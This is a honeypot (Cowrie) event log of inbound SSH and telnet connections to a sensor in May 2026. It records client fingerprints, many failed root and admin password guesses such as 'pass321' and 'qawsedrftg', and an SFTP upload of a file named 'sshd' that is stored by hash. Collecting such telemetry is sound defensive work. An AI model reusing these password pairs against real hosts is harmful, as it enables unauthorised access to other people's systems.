{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:ef:f4:d9:37:7d:6d:59:a7:ba:03:52:42:33:69:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoW2ow057CAtP8lHr58cN2sG8bO2L38ZqGrXOXdQ8b/0w5w4qBXXdbXZNGw6kuzgvldstGP3sV/OvllYxGxnl0lMiF/CjDHcpH8kV9Qnhc1hy0saSfX4IVJ2CEDQ1lyIFQUDkzVHQwYVR/KyH/A5O9I8fnh09QRcTJ+GCw5Kp+/V7BE9bXJ6TA3vs5238yHzuARKEUOwpYGekHq6aJSRfY32P68GJxoIXN3qCwFg8cUm2j04c4B0cRzA4IO6TDjj8lzeDHbxjENYjTdLisp0bBU2Yv2eZlnrZ51aiU50vRjk43mj7eac3IKGBxAwKQofiUkzXiNRk0HcT+PqofYB8uw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:00.611029Z","src_ip":"184.154.95.137","session":"8df1463fad80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:00.646070Z","src_ip":"184.154.95.137","session":"8df1463fad80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41504,"dst_ip":"10.17.0.5","dst_port":23,"session":"206cbbbc96e0","protocol":"telnet","message":"New connection: 152.42.224.71:41504 (10.17.0.5:23) [session: 206cbbbc96e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:08.573234Z"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/cf7e2c432a144f29f5dd80127e41f3788878c389e8a2296280807f375e17d221","shasum":"cf7e2c432a144f29f5dd80127e41f3788878c389e8a2296280807f375e17d221","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/cf7e2c432a144f29f5dd80127e41f3788878c389e8a2296280807f375e17d221","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:10.970280Z","src_ip":"163.7.4.169","session":"bb95cbeb9698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.1","message":"Connection lost after 301.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:10.974480Z","src_ip":"163.7.4.169","session":"bb95cbeb9698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":53918,"dst_ip":"159.203.135.109","dst_port":22,"session":"858cec6284d5","protocol":"ssh","message":"New connection: 103.77.175.15:53918 (159.203.135.109:22) [session: 858cec6284d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:21.216725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:21.221941Z","src_ip":"103.77.175.15","session":"858cec6284d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:21.485752Z","src_ip":"103.77.175.15","session":"858cec6284d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t5r4e3w2q1","message":"login attempt [root/t5r4e3w2q1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:22.356988Z","src_ip":"103.77.175.15","session":"858cec6284d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38692,"dst_ip":"10.17.0.5","dst_port":23,"session":"af0ad7fe27dd","protocol":"telnet","message":"New connection: 152.42.224.71:38692 (10.17.0.5:23) [session: af0ad7fe27dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:22.762773Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:23.621608Z","src_ip":"103.77.175.15","session":"858cec6284d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58354,"dst_ip":"10.17.0.5","dst_port":23,"session":"2456107d824b","protocol":"telnet","message":"New connection: 152.42.224.71:58354 (10.17.0.5:23) [session: 2456107d824b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:28.249931Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":39112,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bb47adf4b3d","protocol":"ssh","message":"New connection: 196.189.237.92:39112 (10.17.0.5:22) [session: 6bb47adf4b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:38.743454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:38.748108Z","src_ip":"196.189.237.92","session":"6bb47adf4b3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:38.915256Z","src_ip":"196.189.237.92","session":"6bb47adf4b3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass321","message":"login attempt [root/pass321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:39.610217Z","src_ip":"196.189.237.92","session":"6bb47adf4b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:40.779278Z","src_ip":"196.189.237.92","session":"6bb47adf4b3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47018,"dst_ip":"10.17.0.5","dst_port":23,"session":"25b96a135075","protocol":"telnet","message":"New connection: 152.42.224.71:47018 (10.17.0.5:23) [session: 25b96a135075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:44.355187Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58878,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a47089cf8b1","protocol":"telnet","message":"New connection: 152.42.224.71:58878 (10.17.0.5:23) [session: 9a47089cf8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:29:47.289128Z"}
{"eventid":"cowrie.session.closed","duration":19.37290620803833,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:03.727965Z","src_ip":"152.42.224.71","session":"25b96a135075","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.518934965133667,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:03.807936Z","src_ip":"152.42.224.71","session":"9a47089cf8b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.96847581863403,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:10.218313Z","src_ip":"152.42.224.71","session":"2456107d824b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.8882577419281,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:10.650952Z","src_ip":"152.42.224.71","session":"af0ad7fe27dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00217604637146,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:12.002481Z","src_ip":"152.42.224.71","session":"3d725d358940","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":34762,"dst_ip":"10.17.0.5","dst_port":22,"session":"e374724cfd53","protocol":"ssh","message":"New connection: 103.149.28.157:34762 (10.17.0.5:22) [session: e374724cfd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:17.811433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:17.816208Z","src_ip":"103.149.28.157","session":"e374724cfd53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:18.067911Z","src_ip":"103.149.28.157","session":"e374724cfd53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qawsedrftg","message":"login attempt [root/qawsedrftg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:18.812266Z","src_ip":"103.149.28.157","session":"e374724cfd53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:20.063508Z","src_ip":"103.149.28.157","session":"e374724cfd53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48794,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4909d9cba03","protocol":"telnet","message":"New connection: 152.42.224.71:48794 (10.17.0.5:23) [session: d4909d9cba03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:24.481580Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":44542,"dst_ip":"10.17.0.5","dst_port":22,"session":"028a48379f29","protocol":"ssh","message":"New connection: 171.244.201.80:44542 (10.17.0.5:22) [session: 028a48379f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:26.463357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:26.478496Z","src_ip":"171.244.201.80","session":"028a48379f29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:26.724827Z","src_ip":"171.244.201.80","session":"028a48379f29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#123","message":"login attempt [root/!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:27.745384Z","src_ip":"171.244.201.80","session":"028a48379f29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:28.995156Z","src_ip":"171.244.201.80","session":"028a48379f29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":30736,"dst_ip":"10.17.0.5","dst_port":22,"session":"206503900aec","protocol":"ssh","message":"New connection: 2.57.121.112:30736 (10.17.0.5:22) [session: 206503900aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:37.550236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:37.559035Z","src_ip":"2.57.121.112","session":"206503900aec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:37.675001Z","src_ip":"2.57.121.112","session":"206503900aec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7seven","message":"login attempt [admin/7seven] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:38.178108Z","src_ip":"2.57.121.112","session":"206503900aec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7f4df451","message":"login attempt [admin/7f4df451] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:39.287922Z","src_ip":"2.57.121.112","session":"206503900aec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7894561","message":"login attempt [admin/7894561] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:40.398416Z","src_ip":"2.57.121.112","session":"206503900aec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":42350,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4b155dd5b16","protocol":"ssh","message":"New connection: 87.251.79.125:42350 (10.17.0.5:22) [session: e4b155dd5b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:41.085893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:41.094289Z","src_ip":"87.251.79.125","session":"e4b155dd5b16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:41.165638Z","src_ip":"87.251.79.125","session":"e4b155dd5b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:41.380575Z","src_ip":"87.251.79.125","session":"e4b155dd5b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"778811","message":"login attempt [admin/778811] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:41.509038Z","src_ip":"2.57.121.112","session":"206503900aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:42.454852Z","src_ip":"87.251.79.125","session":"e4b155dd5b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7666","message":"login attempt [admin/7666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:42.618073Z","src_ip":"2.57.121.112","session":"206503900aec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40232,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f3a835e8f23","protocol":"telnet","message":"New connection: 152.42.224.71:40232 (10.17.0.5:23) [session: 3f3a835e8f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:42.926869Z"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:43.726883Z","src_ip":"2.57.121.112","session":"206503900aec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":17271,"dst_ip":"10.17.0.5","dst_port":22,"session":"aff0691b98d9","protocol":"ssh","message":"New connection: 2.57.121.25:17271 (10.17.0.5:22) [session: aff0691b98d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:49.425883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:49.433827Z","src_ip":"2.57.121.25","session":"aff0691b98d9","protocol":"ssh"}
